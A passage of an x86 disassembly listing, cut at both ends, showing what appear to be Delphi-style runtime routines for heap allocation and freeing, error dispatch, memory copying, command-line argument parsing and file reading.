		mov	ds:dword_20015614, eax


loc_200021B7:				; CODE XREF: sub_20002094+114j
		mov	eax, ds:dword_20015618
		add	ds:dword_20015618, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_200155AC
		sub	ebx, 4
		add	ds:dword_200155B0, ebx
		call	sub_20003AB4
		jmp	short loc_20002217
; ---------------------------------------------------------------------------


loc_200021E5:				; CODE XREF: sub_20002094+105j
		mov	eax, ebx
		call	sub_20001FA0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20002217


loc_200021FC:				; CODE XREF: sub_20002094+181j
		cmp	ds:byte_20015045, 0
		jz	short loc_2000220F
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_2000220F:				; CODE XREF: sub_20002094+16Fj
		retn
; ---------------------------------------------------------------------------


loc_20002210:				; DATA XREF: sub_20002094+32o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200021FC
; ---------------------------------------------------------------------------


loc_20002217:				; CODE XREF: sub_20002094+2Aj
					; sub_20002094+FAj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20002094	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20002224	proc near		; CODE XREF: sub_20001C10+1Cp
					; sub_200025A4+88p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_200155C0, eax
		cmp	ds:byte_200155BC, 0
		jnz	short loc_2000225C
		call	sub_200019A8
		test	al, al
		jnz	short loc_2000225C
		mov	ds:dword_200155C0, 8
		mov	[ebp+var_4], 8
		jmp	loc_200023BD
; ---------------------------------------------------------------------------


loc_2000225C:				; CODE XREF: sub_20002224+17j
					; sub_20002224+20j
		xor	ecx, ecx
		push	ebp
		push	offset loc_200023B6
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_20015045, 0
		jz	short loc_2000227D
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_2000227D:				; CODE XREF: sub_20002224+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_20002298
		mov	ds:dword_200155C0, 9
		jmp	loc_2000238D
; ---------------------------------------------------------------------------


loc_20002298:				; CODE XREF: sub_20002224+63j
		dec	ds:dword_200155AC
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_200155B0, eax
		test	bl, 1
		jz	short loc_200022F8
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
		jl	short loc_200022C8
		test	edx, 80000003h
		jz	short loc_200022D7


loc_200022C8:				; CODE XREF: sub_20002224+9Aj
		mov	ds:dword_200155C0, 0Ah
		jmp	loc_2000238D
; ---------------------------------------------------------------------------


loc_200022D7:				; CODE XREF: sub_20002224+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_200022EF
		mov	ds:dword_200155C0, 0Ah
		jmp	loc_2000238D
; ---------------------------------------------------------------------------


loc_200022EF:				; CODE XREF: sub_20002224+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_20001B4C


loc_200022F8:				; CODE XREF: sub_20002224+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, ds:dword_20015618
		jnz	short loc_20002338
		sub	ds:dword_20015618, ebx
		add	ds:dword_20015614, ebx
		cmp	ds:dword_20015614, 3C00h
		jle	short loc_20002329
		call	sub_20001E3C


loc_20002329:				; CODE XREF: sub_20002224+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_20003AB4
		jmp	loc_200023BD
; ---------------------------------------------------------------------------


loc_20002338:				; CODE XREF: sub_20002224+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_2000235B
		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_20002356
		mov	ds:dword_200155C0, 0Bh
		jmp	short loc_2000238D
; ---------------------------------------------------------------------------


loc_20002356:				; CODE XREF: sub_20002224+124j
		or	dword ptr [eax], 1
		jmp	short loc_20002384
; ---------------------------------------------------------------------------


loc_2000235B:				; CODE XREF: sub_20002224+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_2000236E
		cmp	dword ptr [eax], 0
		jz	short loc_2000236E
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_2000237A


loc_2000236E:				; CODE XREF: sub_20002224+13Dj
					; sub_20002224+142j
		mov	ds:dword_200155C0, 0Bh
		jmp	short loc_2000238D
; ---------------------------------------------------------------------------


loc_2000237A:				; CODE XREF: sub_20002224+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_20001B4C


loc_20002384:				; CODE XREF: sub_20002224+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_20001DB4


loc_2000238D:				; CODE XREF: sub_20002224+6Fj
					; sub_20002224+AEj ...
		mov	eax, ds:dword_200155C0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200023BD


loc_200023A2:				; CODE XREF: sub_20002224+197j
		cmp	ds:byte_20015045, 0
		jz	short loc_200023B5
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_200023B5:				; CODE XREF: sub_20002224+185j
		retn
; ---------------------------------------------------------------------------


loc_200023B6:				; DATA XREF: sub_20002224+3Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200023A2
; ---------------------------------------------------------------------------


loc_200023BD:				; CODE XREF: sub_20002224+33j
					; sub_20002224+10Fj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20002224	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200023C8	proc near		; CODE XREF: sub_200025A4+4Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_200023E1
		mov	esi, 0Ch


loc_200023E1:				; CODE XREF: sub_200023C8+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jnz	short loc_20002400
		mov	al, 1
		jmp	loc_2000259B
; ---------------------------------------------------------------------------


loc_20002400:				; CODE XREF: sub_200023C8+2Fj
		cmp	edi, esi
		jle	loc_2000248B
		mov	edx, edi
		sub	edx, esi
		mov	[esp+18h+var_18], edx
		cmp	ebx, ds:dword_20015618
		jnz	short loc_2000244F
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_20015618, eax
		mov	eax, [esp+18h+var_18]
		add	ds:dword_20015614, eax
		cmp	ds:dword_20015614, 0Ch
		jge	loc_20002582
		mov	eax, [esp+18h+var_18]
		add	ds:dword_20015618, eax
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_20015614, eax
		mov	esi, edi
		jmp	loc_20002582
; ---------------------------------------------------------------------------


loc_2000244F:				; CODE XREF: sub_200023C8+4Dj
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_20002463
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+18h+var_18], edx
		call	sub_20001B4C


loc_20002463:				; CODE XREF: sub_200023C8+8Cj
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_20002484
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+18h+var_18]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_20001C10
		jmp	loc_20002582
; ---------------------------------------------------------------------------


loc_20002484:				; CODE XREF: sub_200023C8+9Fj
		mov	esi, edi
		jmp	loc_20002582
; ---------------------------------------------------------------------------


loc_2000248B:				; CODE XREF: sub_200023C8+3Aj
					; sub_200023C8+1B1j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+18h+var_14], eax
		cmp	ebx, ds:dword_20015618
		jnz	short loc_20002502
		mov	eax, ds:dword_20015614
		cmp	eax, [esp+18h+var_14]
		jl	short loc_200024F9
		mov	eax, [esp+18h+var_14]
		sub	ds:dword_20015614, eax
		mov	eax, [esp+18h+var_14]
		add	ds:dword_20015618, eax
		cmp	ds:dword_20015614, 0Ch
		jge	short loc_200024DB
		mov	eax, ds:dword_20015614
		add	ds:dword_20015618, eax
		add	esi, ds:dword_20015614
		xor	eax, eax
		mov	ds:dword_20015614, eax


loc_200024DB:				; CODE XREF: sub_200023C8+F9j
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_200155B0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_2000259B
; ---------------------------------------------------------------------------


loc_200024F9:				; CODE XREF: sub_200023C8+DCj
		call	sub_20001E3C
		mov	ebx, ebp
		add	ebx, edi


loc_20002502:				; CODE XREF: sub_200023C8+D1j
		test	byte ptr [ebx],	2
		jnz	short loc_20002554
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+18h+var_18], ecx
		mov	ecx, [esp+18h+var_18]
		cmp	ecx, [esp+18h+var_14]
		jge	short loc_20002528
		add	edx, [esp+18h+var_18]
		mov	ebx, edx
		mov	eax, [esp+18h+var_18]
		sub	[esp+18h+var_14], eax
		jmp	short loc_20002554
; ---------------------------------------------------------------------------


loc_20002528:				; CODE XREF: sub_200023C8+150j
		call	sub_20001B4C
		mov	eax, [esp+18h+var_14]
		sub	[esp+18h+var_18], eax
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_20002548
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+18h+var_18]
		call	sub_20001DB4
		jmp	short loc_20002582
; ---------------------------------------------------------------------------


loc_20002548:				; CODE XREF: sub_200023C8+170j
		add	esi, [esp+18h+var_18]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_20002582
; ---------------------------------------------------------------------------


loc_20002554:				; CODE XREF: sub_200023C8+13Dj
					; sub_200023C8+15Ej
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_2000257E
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		call	sub_20001F40
		test	al, al
		jz	short loc_2000257E
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_2000248B
; ---------------------------------------------------------------------------


loc_2000257E:				; CODE XREF: sub_200023C8+193j
					; sub_200023C8+1ABj
		xor	eax, eax
		jmp	short loc_2000259B
; ---------------------------------------------------------------------------


loc_20002582:				; CODE XREF: sub_200023C8+68j
					; sub_200023C8+82j ...
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_200155B0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1


loc_2000259B:				; CODE XREF: sub_200023C8+33j
					; sub_200023C8+12Cj ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200023C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200025A4	proc near		; CODE XREF: sub_200026A8+Dp
					; DATA XREF: DATA:off_20014044o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_200155BC, 0
		jnz	short loc_200025CB
		call	sub_200019A8
		test	al, al
		jnz	short loc_200025CB
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_2000265C
; ---------------------------------------------------------------------------


loc_200025CB:				; CODE XREF: sub_200025A4+12j
					; sub_200025A4+1Bj
		xor	edx, edx
		push	ebp
		push	offset loc_20002655
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_20015045, 0
		jz	short loc_200025EC
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_200025EC:				; CODE XREF: sub_200025A4+3Cj
		mov	edx, esi
		mov	eax, ebx
		call	sub_200023C8
		test	al, al
		jz	short loc_200025FE
		mov	[ebp+var_4], ebx
		jmp	short loc_20002634
; ---------------------------------------------------------------------------


loc_200025FE:				; CODE XREF: sub_200025A4+53j
		mov	eax, esi
		call	sub_20002094
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_2000261C
		mov	eax, esi


loc_2000261C:				; CODE XREF: sub_200025A4+74j
		test	edi, edi
		jz	short loc_20002631
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_200027FC
		mov	eax, ebx
		call	sub_20002224


loc_20002631:				; CODE XREF: sub_200025A4+7Aj
		mov	[ebp+var_4], edi


loc_20002634:				; CODE XREF: sub_200025A4+58j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000265C


loc_20002641:				; CODE XREF: sub_200025A4+B6j
		cmp	ds:byte_20015045, 0
		jz	short loc_20002654
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_20002654:				; CODE XREF: sub_200025A4+A4j
		retn
; ---------------------------------------------------------------------------


loc_20002655:				; DATA XREF: sub_200025A4+2Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20002641
; ---------------------------------------------------------------------------


loc_2000265C:				; CODE XREF: sub_200025A4+22j
					; sub_200025A4:loc_20002654j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_200025A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002668	proc near		; CODE XREF: sub_2000348C+Ap
					; sub_2000406C+Cp ...
		push	ebx
		test	eax, eax
		jle	short loc_20002682
		call	ds:off_2001403C
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_20002684
		mov	al, 1
		call	sub_20002750
; ---------------------------------------------------------------------------
		jmp	short loc_20002684
; ---------------------------------------------------------------------------


loc_20002682:				; CODE XREF: sub_20002668+3j
		xor	ebx, ebx


loc_20002684:				; CODE XREF: sub_20002668+Fj
					; sub_20002668+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_20002668	endp


; =============== S U B	R O U T	I N E =======================================



sub_20002688	proc near		; CODE XREF: sub_200034A8+Cp
					; sub_20003FA8+1Cp ...
		push	ebx
		test	eax, eax
		jz	short loc_200026A2
		call	ds:off_20014040
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_200026A4
		mov	al, 2
		call	sub_20002750
; ---------------------------------------------------------------------------
		jmp	short loc_200026A4
; ---------------------------------------------------------------------------


loc_200026A2:				; CODE XREF: sub_20002688+3j
		xor	ebx, ebx


loc_200026A4:				; CODE XREF: sub_20002688+Fj
					; sub_20002688+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_20002688	endp


; =============== S U B	R O U T	I N E =======================================



sub_200026A8	proc near		; CODE XREF: sub_200045D0+22p
					; sub_20004CB8+BBp ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_200026E0
		test	edx, edx
		jz	short loc_200026CA
		push	eax
		mov	eax, ecx
		call	ds:off_20014044
		pop	ecx
		or	eax, eax
		jz	short loc_200026D9
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_200026C3:				; CODE XREF: sub_200026A8+2Ej
		mov	al, 2
		jmp	sub_20002750
; ---------------------------------------------------------------------------


loc_200026CA:				; CODE XREF: sub_200026A8+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_20014040
		or	eax, eax
		jnz	short loc_200026C3
		retn
; ---------------------------------------------------------------------------


loc_200026D9:				; CODE XREF: sub_200026A8+16j
					; sub_200026A8+48j
		mov	al, 1
		jmp	sub_20002750
; ---------------------------------------------------------------------------


loc_200026E0:				; CODE XREF: sub_200026A8+4j
		test	edx, edx
		jz	short locret_200026F4
		push	eax
		mov	eax, edx
		call	ds:off_2001403C
		pop	ecx
		or	eax, eax
		jz	short loc_200026D9
		mov	[ecx], eax

locret_200026F4:			; CODE XREF: sub_200026A8+3Aj
		retn
sub_200026A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_200026F8	proc near		; CODE XREF: sub_20002704+42p
					; CODE:20003B63p
		mov	ds:dword_20014004, edx
		call	sub_20003F90
sub_200026F8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_20002704	proc near		; CODE XREF: sub_20002750+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_20015008, 0
		jz	short loc_20002720
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_20015008


loc_20002720:				; CODE XREF: sub_20002704+10j
		test	bl, bl
		jnz	short loc_20002731
		call	sub_20005C00
		mov	ebx, [eax+4]
		jmp	short loc_20002740
; ---------------------------------------------------------------------------


loc_20002731:				; CODE XREF: sub_20002704+1Ej
		cmp	bl, 18h
		ja	short loc_20002740
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_20014048[eax]


loc_20002740:				; CODE XREF: sub_20002704+2Bj
					; sub_20002704+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_200026F8
sub_20002704	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_20002750	proc near		; CODE XREF: sub_20002668+13p
					; sub_20002688+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_20002704
sub_20002750	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_2000275C	proc near		; CODE XREF: CODE:2000A444p
					; sub_200129A0+6Dp ...
		push	eax
		push	edx
		push	ecx
		call	sub_20005C00
		cmp	dword ptr [eax+4], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_20002771
		retn
; ---------------------------------------------------------------------------


loc_20002771:				; CODE XREF: sub_2000275C+12j
		xor	eax, eax
		jmp	sub_20002750
sub_2000275C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000277C	proc near		; CODE XREF: sub_2000278C+5p
					; sub_20002C64+3Cp ...
		push	ebx
		mov	ebx, eax
		call	sub_20005C00
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_2000277C	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000278C	proc near		; CODE XREF: sub_20002DEC+28p
					; sub_20002E58+17p
		call	GetLastError
		call	sub_2000277C
		retn
sub_2000278C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002798	proc near		; CODE XREF: sub_2000EB50+ABp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, eax
		mov	edi, [esp+8+arg_0]
		xor	eax, eax
		or	al, [esi]
		jz	short loc_200027D1
		test	edx, edx
		jle	short loc_200027C2
		cmp	edx, eax
		jg	short loc_200027C9


loc_200027AE:				; CODE XREF: sub_20002798+2Fj
		sub	eax, edx
		inc	eax
		test	ecx, ecx
		jl	short loc_200027C9
		cmp	ecx, eax
		jg	short loc_200027CD


loc_200027B9:				; CODE XREF: sub_20002798+33j
					; sub_20002798+37j
		add	esi, edx
		mov	[edi], cl
		inc	edi
		rep movsb
		jmp	short loc_200027D3
; ---------------------------------------------------------------------------


loc_200027C2:				; CODE XREF: sub_20002798+10j
		mov	edx, 1
		jmp	short loc_200027AE
; ---------------------------------------------------------------------------


loc_200027C9:				; CODE XREF: sub_20002798+14j
					; sub_20002798+1Bj
		xor	ecx, ecx
		jmp	short loc_200027B9
; ---------------------------------------------------------------------------


loc_200027CD:				; CODE XREF: sub_20002798+1Fj
		mov	ecx, eax
		jmp	short loc_200027B9
; ---------------------------------------------------------------------------


loc_200027D1:				; CODE XREF: sub_20002798+Cj
		mov	[edi], al


loc_200027D3:				; CODE XREF: sub_20002798+28j
		pop	edi
		pop	esi
		retn	4
sub_20002798	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200027DC	proc near		; CODE XREF: sub_2000A69C+7p
					; sub_200129A0+59p ...
		push	ebx
		call	sub_20005C00
		mov	ebx, [eax+4]
		call	sub_20005C00
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, ebx
		pop	ebx
		retn
sub_200027DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200027FC	proc near		; CODE XREF: sub_200025A4+81p
					; sub_20002BFC+4Fp ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_2000281B
		jz	short loc_20002839
		sar	ecx, 2
		js	short loc_20002839
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_2000281B:				; CODE XREF: sub_200027FC+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_20002839
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_20002839:				; CODE XREF: sub_200027FC+Cj
					; sub_200027FC+11j ...
		pop	edi
		pop	esi
		retn
sub_200027FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000283C	proc near		; CODE XREF: sub_20002928+41p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_2000284E
; ---------------------------------------------------------------------------


loc_20002846:				; CODE XREF: sub_2000283C+1Aj
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax


loc_2000284E:				; CODE XREF: sub_2000283C+8j
					; sub_2000283C+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_20002858
		cmp	al, 20h
		jbe	short loc_20002846


loc_20002858:				; CODE XREF: sub_2000283C+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_20002868
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_20002868
		add	ebx, 2
		jmp	short loc_2000284E
; ---------------------------------------------------------------------------


loc_20002868:				; CODE XREF: sub_2000283C+1Fj
					; sub_2000283C+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_200028B1
; ---------------------------------------------------------------------------


loc_2000286E:				; CODE XREF: sub_2000283C+79j
		cmp	al, 22h
		jnz	short loc_200028A3
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_2000288A
; ---------------------------------------------------------------------------


loc_2000287C:				; CODE XREF: sub_2000283C+56j
		push	ebx		; lpsz
		call	CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_2000288A:				; CODE XREF: sub_2000283C+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_20002894
		cmp	al, 22h
		jnz	short loc_2000287C


loc_20002894:				; CODE XREF: sub_2000283C+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_200028B1
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_200028B1
; ---------------------------------------------------------------------------


loc_200028A3:				; CODE XREF: sub_2000283C+34j
		push	ebx		; lpsz
		call	CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_200028B1:				; CODE XREF: sub_2000283C+30j
					; sub_2000283C+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_2000286E
		mov	eax, esi
		mov	edx, ebp
		call	sub_200045D0
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_20002919
; ---------------------------------------------------------------------------


loc_200028C8:				; CODE XREF: sub_2000283C+E1j
		cmp	al, 22h
		jnz	short loc_20002904
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_200028EB
; ---------------------------------------------------------------------------


loc_200028D6:				; CODE XREF: sub_2000283C+B7j
		push	ebx		; lpsz
		call	CharNextA
		cmp	eax, ebx
		jbe	short loc_200028EB


loc_200028E0:				; CODE XREF: sub_2000283C+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_200028E0


loc_200028EB:				; CODE XREF: sub_2000283C+98j
					; sub_2000283C+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_200028F5
		cmp	al, 22h
		jnz	short loc_200028D6


loc_200028F5:				; CODE XREF: sub_2000283C+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_20002919
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_20002919
; ---------------------------------------------------------------------------


loc_20002904:				; CODE XREF: sub_2000283C+8Ej
		push	ebx		; lpsz
		call	CharNextA
		cmp	eax, ebx
		jbe	short loc_20002919


loc_2000290E:				; CODE XREF: sub_2000283C+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_2000290E


loc_20002919:				; CODE XREF: sub_2000283C+8Aj
					; sub_2000283C+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_200028C8
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000283C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002928	proc near		; CODE XREF: sub_200129A0+2Bp
					; sub_20012F40+1C8p

Filename	= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_20003FA8
		test	esi, esi
		jnz	short loc_2000295E
		push	105h		; nSize
		lea	eax, [esp+118h+Filename]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_20004098
		jmp	short loc_2000297C
; ---------------------------------------------------------------------------


loc_2000295E:				; CODE XREF: sub_20002928+16j
		call	GetCommandLineA
		mov	edi, eax


loc_20002965:				; CODE XREF: sub_20002928+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_2000283C
		mov	edi, eax
		test	esi, esi
		jz	short loc_2000297C
		cmp	dword ptr [ebx], 0
		jz	short loc_2000297C
		dec	esi
		jmp	short loc_20002965
; ---------------------------------------------------------------------------


loc_2000297C:				; CODE XREF: sub_20002928+34j
					; sub_20002928+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20002928	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_20002988	proc near		; CODE XREF: sub_200036D4+10j
					; DATA XREF: CODE:2000CA38o ...
		cmp	ds:dword_20015028, 0
		jz	short loc_20002997
		call	ds:dword_20015028


loc_20002997:				; CODE XREF: sub_20002988+7j
		mov	eax, 0D2h
		jmp	sub_20003F9C
sub_20002988	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200029A4	proc near		; DATA XREF: CODE:20002A80o
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebx+10h], eax
		xor	eax, eax
		mov	[ebx+0Ch], eax
		push	0		; lpOverlapped
		lea	eax, [ebx+10h]
		push	eax		; lpNumberOfBytesRead
		mov	eax, [ebx+8]
		push	eax		; nNumberOfBytesToRead
		mov	eax, [ebx+14h]
		push	eax		; lpBuffer
		mov	eax, [ebx]
		push	eax		; hFile
		call	ReadFile
		test	eax, eax
		jnz	short loc_200029D9
		call	GetLastError
		cmp	eax, 6Dh
		jnz	short loc_200029DB
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_200029D9:				; CODE XREF: sub_200029A4+25j
		xor	eax, eax


loc_200029DB:				; CODE XREF: sub_200029A4+2Fj
		pop	ebx
		retn
sub_200029A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200029E0	proc near		; DATA XREF: CODE:20002AB7o
					; CODE:20002B87o ...
		xor	eax, eax
		retn
sub_200029E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200029E4	proc near		; DATA XREF: CODE:loc_20002AA9o
					; CODE:20002BCFo

NumberOfBytesWritten= dword ptr	-0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		mov	esi, [ebx+0Ch]
		test	esi, esi
		jnz	short loc_200029F4
		xor	eax, eax
